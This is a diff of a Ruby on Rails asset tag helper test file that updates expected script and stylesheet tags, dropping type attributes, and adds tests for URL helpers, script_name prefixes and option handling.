-    assert_dom_equal  %(<link href="/stylesheets/style.css" rel="stylesheet" type="text/css" media="screen" />\n<link href="/stylesheets/money.css" rel="stylesheet" type="text/css" media="screen" />\n<link href="/stylesheets/security.css" rel="stylesheet" type="text/css" media="screen" />\n<link href="/stylesheets/print.css" rel="stylesheet" type="text/css" media="screen" />), stylesheet_link_tag('style', :robbery, 'print')
+    assert_dom_equal  %(<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/effects.js"></script>), javascript_include_tag('controls', :robbery, 'effects')
+    assert_dom_equal  %(<link href="/stylesheets/style.css" rel="stylesheet" media="screen" />\n<link href="/stylesheets/money.css" rel="stylesheet" media="screen" />\n<link href="/stylesheets/security.css" rel="stylesheet" media="screen" />\n<link href="/stylesheets/print.css" rel="stylesheet" media="screen" />), stylesheet_link_tag('style', :robbery, 'print')
   end
 
   def test_reset_javascript_expansions
@@ -336,6 +417,15 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_raise(ArgumentError) { javascript_include_tag(:defaults) }
   end
 
+  def test_all_javascript_expansion_not_include_application_js_if_not_exists
+    FileUtils.mv(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'application.js'),
+      File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'application.bak'))
+    assert_no_match(/application\.js/, javascript_include_tag(:all))
+  ensure
+    FileUtils.mv(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'application.bak'),
+      File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'application.js'))
+  end
+
   def test_stylesheet_path
     ENV["RAILS_ASSET_ID"] = ""
     StylePathToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
@@ -345,6 +435,15 @@ class AssetTagHelperTest < ActionView::TestCase
     PathToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_stylesheet_url
+    ENV["RAILS_ASSET_ID"] = ""
+    StyleUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_stylesheet_alias_for_stylesheet_url
+    UrlToStyleToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_stylesheet_link_tag
     ENV["RAILS_ASSET_ID"] = ""
     StyleLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
@@ -367,36 +466,36 @@ class AssetTagHelperTest < ActionView::TestCase
   end
 
   def test_stylesheet_link_tag_escapes_options
-    assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" type="text/css" />), stylesheet_link_tag('/file', :media => '<script>')
+    assert_dom_equal %(<link href="/file.css" media="&lt;script&gt;" rel="stylesheet" />), stylesheet_link_tag('/file', :media => '<script>')
   end
 
   def test_custom_stylesheet_expansions
     ENV["RAILS_ASSET_ID"] = ''
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :robbery => ["bank", "robber"]
-    assert_dom_equal  %(<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('version.1.0', :robbery, 'subdir/subdir')
+    assert_dom_equal  %(<link href="/stylesheets/version.1.0.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/subdir/subdir.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('version.1.0', :robbery, 'subdir/subdir')
   end
 
   def test_custom_stylesheet_expansions_return_unique_set
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :cities => %w(wellington amsterdam london)
-    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/london.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag(:cities)
+    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/london.css" media="screen" rel="stylesheet" />), stylesheet_link_tag(:cities)
   end
 
   def test_stylesheet_link_tag_should_not_output_the_same_asset_twice
     ENV["RAILS_ASSET_ID"] = ""
-    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
+    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('wellington', 'wellington', 'amsterdam')
   end
 
   def test_stylesheet_link_tag_should_not_output_the_same_expansion_twice
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :cities => %w(wellington amsterdam london)
-    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/london.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag(:cities, :cities)
+    assert_dom_equal  %(<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/london.css" media="screen" rel="stylesheet" />), stylesheet_link_tag(:cities, :cities)
   end
 
   def test_single_stylesheet_asset_keys_should_take_precedence_over_expansions
     ENV["RAILS_ASSET_ID"] = ""
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :cities => %w(wellington amsterdam london)
-    assert_dom_equal  %(<link href="/stylesheets/london.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag('london', :cities)
+    assert_dom_equal  %(<link href="/stylesheets/london.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/wellington.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/amsterdam.css" media="screen" rel="stylesheet" />), stylesheet_link_tag('london', :cities)
   end
 
   def test_custom_stylesheet_expansions_with_unknown_symbol
@@ -405,12 +504,12 @@ class AssetTagHelperTest < ActionView::TestCase
 
   def test_custom_stylesheet_expansions_with_nil_value
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => nil
-    assert_dom_equal  %(<link href="/stylesheets/first.css" rel="stylesheet" type="text/css" media="screen" />\n<link href="/stylesheets/last.css" rel="stylesheet" type="text/css" media="screen" />), stylesheet_link_tag('first', :monkey, 'last')
+    assert_dom_equal  %(<link href="/stylesheets/first.css" rel="stylesheet" media="screen" />\n<link href="/stylesheets/last.css" rel="stylesheet" media="screen" />), stylesheet_link_tag('first', :monkey, 'last')
   end
 
   def test_custom_stylesheet_expansions_with_empty_array_value
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :monkey => []
-    assert_dom_equal  %(<link href="/stylesheets/first.css" rel="stylesheet" type="text/css" media="screen" />\n<link href="/stylesheets/last.css" rel="stylesheet" type="text/css" media="screen" />), stylesheet_link_tag('first', :monkey, 'last')
+    assert_dom_equal  %(<link href="/stylesheets/first.css" rel="stylesheet" media="screen" />\n<link href="/stylesheets/last.css" rel="stylesheet" media="screen" />), stylesheet_link_tag('first', :monkey, 'last')
   end
 
   def test_registering_stylesheet_expansions_merges_with_existing_expansions
@@ -418,7 +517,7 @@ class AssetTagHelperTest < ActionView::TestCase
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :can_merge => ['bank']
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :can_merge => ['robber']
     ActionView::Helpers::AssetTagHelper::register_stylesheet_expansion :can_merge => ['bank']
-    assert_dom_equal  %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" type="text/css" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />), stylesheet_link_tag(:can_merge)
+    assert_dom_equal  %(<link href="/stylesheets/bank.css" media="screen" rel="stylesheet" />\n<link href="/stylesheets/robber.css" media="screen" rel="stylesheet" />), stylesheet_link_tag(:can_merge)
   end
 
   def test_image_path
@@ -429,6 +528,14 @@ class AssetTagHelperTest < ActionView::TestCase
     PathToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_image_url
+    ImageUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_image_alias_for_image_url
+    UrlToImageToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_image_alt
     [nil, '/', '/foo/bar/', 'foo/bar/'].each do |prefix|
       assert_equal 'Rails', image_alt("#{prefix}rails.png")
@@ -441,6 +548,12 @@ class AssetTagHelperTest < ActionView::TestCase
     ImageLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_image_tag_does_not_modify_options
+    options = {:size => '16x10'}
+    image_tag('icon', options)
+    assert_equal({:size => '16x10'}, options)
+  end
+
   def test_favicon_link_tag
     FaviconLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
@@ -468,6 +581,14 @@ class AssetTagHelperTest < ActionView::TestCase
     PathToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_video_url
+    VideoUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_video_alias_for_video_url
+    UrlToVideoToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_video_tag
     VideoLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
@@ -480,10 +601,26 @@ class AssetTagHelperTest < ActionView::TestCase
     PathToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_audio_url
+    AudioUrlToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
+  def test_url_to_audio_alias_for_audio_url
+    UrlToAudioToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
+  end
+
   def test_audio_tag
     AudioLinkToTag.each { |method, tag| assert_dom_equal(tag, eval(method)) }
   end
 
+  def test_video_audio_tag_does_not_modify_options
+    options = {:autoplay => true}
+    video_tag('video', options)
+    assert_equal({:autoplay => true}, options)
+    audio_tag('audio', options)
+    assert_equal({:autoplay => true}, options)
+  end
+
   def test_timebased_asset_id
     expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s
     assert_equal %(<img alt="Rails" src="/images/rails.png?#{expected_time}" />), image_tag("rails.png")
@@ -520,6 +657,13 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal %(<img alt="Rails" src="#{@controller.config.relative_url_root}/images/rails.png?#{expected_time}" />), image_tag("rails.png")
   end
 
+  # Same as above, but with script_name
+  def test_timebased_asset_id_with_script_name
+    @request.script_name = "/collaboration/hieraki"
+    expected_time = File.mtime(File.expand_path(File.dirname(__FILE__) + "/../fixtures/public/images/rails.png")).to_i.to_s
+    assert_equal %(<img alt="Rails" src="#{@request.script_name}/images/rails.png?#{expected_time}" />), image_tag("rails.png")
+  end
+
   def test_should_skip_asset_id_on_complete_url
     assert_equal %(<img alt="Rails" src="http://www.example.com/rails.png" />), image_tag("http://www.example.com/rails.png")
   end
@@ -555,7 +699,6 @@ class AssetTagHelperTest < ActionView::TestCase
       end
     end
 
-
     @controller.request.stubs(:ssl?).returns(false)
     assert_equal "http://assets15.example.com/images/xml.png", image_path("xml.png")
 
@@ -569,21 +712,21 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/all.js" type="text/javascript"></script>),
+      %(<script src="http://a0.example.com/javascripts/all.js"></script>),
       javascript_include_tag(:all, :cache => true)
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
 
     assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/money.js" type="text/javascript"></script>),
+      %(<script src="http://a0.example.com/javascripts/money.js"></script>),
       javascript_include_tag(:all, :cache => "money")
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
 
     assert_dom_equal(
-      %(<script src="http://a0.example.com/absolute/test.js" type="text/javascript"></script>),
+      %(<script src="http://a0.example.com/absolute/test.js"></script>),
       javascript_include_tag(:all, :cache => "/absolute/test")
     )
 
@@ -602,7 +745,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/javascripts/scripts.js'.length, 23
     assert_dom_equal(
-      %(<script src="http://a23.example.com/javascripts/scripts.js" type="text/javascript"></script>),
+      %(<script src="http://a23.example.com/javascripts/scripts.js"></script>),
       javascript_include_tag(:all, :cache => 'scripts')
     )
 
@@ -625,7 +768,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/javascripts/vanilla.js'.length, 23
     assert_dom_equal(
-      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
+      %(<script src="http://assets23.example.com/javascripts/vanilla.js"></script>),
       javascript_include_tag(:all, :cache => 'vanilla')
     )
 
@@ -638,7 +781,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/javascripts/secure.js'.length, 22
     assert_dom_equal(
-      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
+      %(<script src="https://localhost/javascripts/secure.js"></script>),
       javascript_include_tag(:all, :cache => 'secure')
     )
 
@@ -665,7 +808,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/javascripts/vanilla.js'.length, 23
     assert_dom_equal(
-      %(<script src="http://assets23.example.com/javascripts/vanilla.js" type="text/javascript"></script>),
+      %(<script src="http://assets23.example.com/javascripts/vanilla.js"></script>),
       javascript_include_tag(:all, :cache => 'vanilla')
     )
 
@@ -678,7 +821,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/javascripts/secure.js'.length, 22
     assert_dom_equal(
-      %(<script src="https://localhost/javascripts/secure.js" type="text/javascript"></script>),
+      %(<script src="https://localhost/javascripts/secure.js"></script>),
       javascript_include_tag(:all, :cache => 'secure')
     )
 
@@ -696,7 +839,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     number = Zlib.crc32('/javascripts/cache/money.js') % 4
     assert_dom_equal(
-      %(<script src="http://a#{number}.example.com/javascripts/cache/money.js" type="text/javascript"></script>),
+      %(<script src="http://a#{number}.example.com/javascripts/cache/money.js"></script>),
       javascript_include_tag(:all, :cache => "cache/money")
     )
 
@@ -711,7 +854,7 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
+      %(<script src="http://a0.example.com/javascripts/combined.js"></script>),
       javascript_include_tag(:all, :cache => "combined", :recursive => true)
     )
 
@@ -732,7 +875,7 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<script src="http://a0.example.com/javascripts/combined.js" type="text/javascript"></script>),
+      %(<script src="http://a0.example.com/javascripts/combined.js"></script>),
       javascript_include_tag(:all, :cache => "combined")
     )
 
@@ -753,14 +896,39 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/all.js" type="text/javascript"></script>),
+      %(<script src="/collaboration/hieraki/javascripts/all.js"></script>),
+      javascript_include_tag(:all, :cache => true)
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/money.js"></script>),
+      javascript_include_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+  end
+
+  # Same as above, but with script_name
+  def test_caching_javascript_include_tag_with_script_name
+    ENV["RAILS_ASSET_ID"] = ""
+    @request.script_name = "/collaboration/hieraki"
+    config.perform_caching = true
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/all.js"></script>),
       javascript_include_tag(:all, :cache => true)
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
 
     assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/money.js" type="text/javascript"></script>),
+      %(<script src="/collaboration/hieraki/javascripts/money.js"></script>),
       javascript_include_tag(:all, :cache => "money")
     )
 
@@ -777,14 +945,35 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = false
 
     assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/robber.js" type="text/javascript"></script>),
+      %(<script src="/collaboration/hieraki/javascripts/robber.js"></script>),
       javascript_include_tag('robber', :cache => true)
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
 
     assert_dom_equal(
-      %(<script src="/collaboration/hieraki/javascripts/robber.js" type="text/javascript"></script>),
+      %(<script src="/collaboration/hieraki/javascripts/robber.js"></script>),
+      javascript_include_tag('robber', :cache => "money", :recursive => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'money.js'))
+  end
+
+  # Same as above, but with script_name
+  def test_caching_javascript_include_tag_with_named_paths_and_script_name_when_caching_off
+    ENV["RAILS_ASSET_ID"] = ""
+    @request.script_name = "/collaboration/hieraki"
+    config.perform_caching = false
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/robber.js"></script>),
+      javascript_include_tag('robber', :cache => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
+
+    assert_dom_equal(
+      %(<script src="/collaboration/hieraki/javascripts/robber.js"></script>),
       javascript_include_tag('robber', :cache => "money", :recursive => true)
     )
 
@@ -796,24 +985,24 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = false
 
     assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+      %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
       javascript_include_tag(:all, :cache => true)
     )
 
     assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+      %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/subdir/subdir.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
       javascript_include_tag(:all, :cache => true, :recursive => true)
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::JAVASCRIPTS_DIR, 'all.js'))
 
     assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+      %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
       javascript_include_tag(:all, :cache => "money")
     )
 
     assert_dom_equal(
-      %(<script src="/javascripts/prototype.js" type="text/javascript"></script>\n<script src="/javascripts/effects.js" type="text/javascript"></script>\n<script src="/javascripts/dragdrop.js" type="text/javascript"></script>\n<script src="/javascripts/controls.js" type="text/javascript"></script>\n<script src="/javascripts/bank.js" type="text/javascript"></script>\n<script src="/javascripts/robber.js" type="text/javascript"></script>\n<script src="/javascripts/subdir/subdir.js" type="text/javascript"></script>\n<script src="/javascripts/version.1.0.js" type="text/javascript"></script>\n<script src="/javascripts/application.js" type="text/javascript"></script>),
+      %(<script src="/javascripts/prototype.js"></script>\n<script src="/javascripts/effects.js"></script>\n<script src="/javascripts/dragdrop.js"></script>\n<script src="/javascripts/controls.js"></script>\n<script src="/javascripts/bank.js"></script>\n<script src="/javascripts/robber.js"></script>\n<script src="/javascripts/subdir/subdir.js"></script>\n<script src="/javascripts/version.1.0.js"></script>\n<script src="/javascripts/application.js"></script>),
       javascript_include_tag(:all, :cache => "money", :recursive => true)
     )
 
@@ -871,7 +1060,7 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<link href="http://a0.example.com/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="http://a0.example.com/stylesheets/all.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => true)
     )
 
@@ -885,14 +1074,14 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal expected_size, File.size(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
 
     assert_dom_equal(
-      %(<link href="http://a0.example.com/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="http://a0.example.com/stylesheets/money.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => "money")
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
 
     assert_dom_equal(
-      %(<link href="http://a0.example.com/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="http://a0.example.com/absolute/test.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => "/absolute/test")
     )
 
@@ -907,7 +1096,7 @@ class AssetTagHelperTest < ActionView::TestCase
     ENV["RAILS_ASSET_ID"] = ""
 
     assert_dom_equal(
-      %(<link href="/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/all.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :concat => true)
     )
 
@@ -915,14 +1104,14 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal expected, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
 
     assert_dom_equal(
-      %(<link href="/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/stylesheets/money.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :concat => "money")
     )
 
     assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
 
     assert_dom_equal(
-      %(<link href="/absolute/test.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/absolute/test.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :concat => "/absolute/test")
     )
 
@@ -982,7 +1171,7 @@ class AssetTagHelperTest < ActionView::TestCase
 
     assert_equal '/stylesheets/styles.css'.length, 23
     assert_dom_equal(
-      %(<link href="http://a23.example.com/stylesheets/styles.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="http://a23.example.com/stylesheets/styles.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => 'styles')
     )
 
@@ -998,7 +1187,7 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = true
 
     assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/all.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/collaboration/hieraki/stylesheets/all.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => true)
     )
 
@@ -1008,7 +1197,34 @@ class AssetTagHelperTest < ActionView::TestCase
     assert_equal expected_mtime, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
 
     assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/money.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/collaboration/hieraki/stylesheets/money.css" media="screen" rel="stylesheet" />),
+      stylesheet_link_tag(:all, :cache => "money")
+    )
+
+    assert File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  ensure
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+    FileUtils.rm_f(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  end
+
+  # Same as above, but with script_name
+  def test_caching_stylesheet_link_tag_with_script_name
+    ENV["RAILS_ASSET_ID"] = ""
+    @request.script_name = "/collaboration/hieraki"
+    config.perform_caching = true
+
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/all.css" media="screen" rel="stylesheet" />),
+      stylesheet_link_tag(:all, :cache => true)
+    )
+
+    files_to_be_joined = Dir["#{ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR}/[^all]*.css"]
+
+    expected_mtime = files_to_be_joined.map { |p| File.mtime(p) }.max
+    assert_equal expected_mtime, File.mtime(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/money.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag(:all, :cache => "money")
     )
 
@@ -1025,51 +1241,80 @@ class AssetTagHelperTest < ActionView::TestCase
     config.perform_caching = false
 
     assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag('robber', :cache => true)
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
 
     assert_dom_equal(
-      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" type="text/css" />),
+      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" />),
       stylesheet_link_tag('robber', :cache => "money")
     )
 
     assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
   end
 
+  # Same as above, but with script_name
+  def test_caching_stylesheet_link_tag_with_named_paths_and_script_name_when_caching_off
+    ENV["RAILS_ASSET_ID"] = ""
+    @request.script_name = "/collaboration/hieraki"
+    config.perform_caching = false
 
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" />),
+      stylesheet_link_tag('robber', :cache => true)
+    )
+
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'all.css'))
+
+    assert_dom_equal(
+      %(<link href="/collaboration/hieraki/stylesheets/robber.css" media="screen" rel="stylesheet" />),
+      stylesheet_link_tag('robber', :cache => "money")
+    )
 
+    assert !File.exist?(File.join(ActionView::Helpers::AssetTagHelper::STYLESHEETS_DIR, 'money.css'))
+  end
 
   def test_caching_stylesheet_include_tag_when_caching_off
     ENV["RAILS_ASSET_ID"] = ""
     config.perform_caching = false
 
     assert_dom_equal(
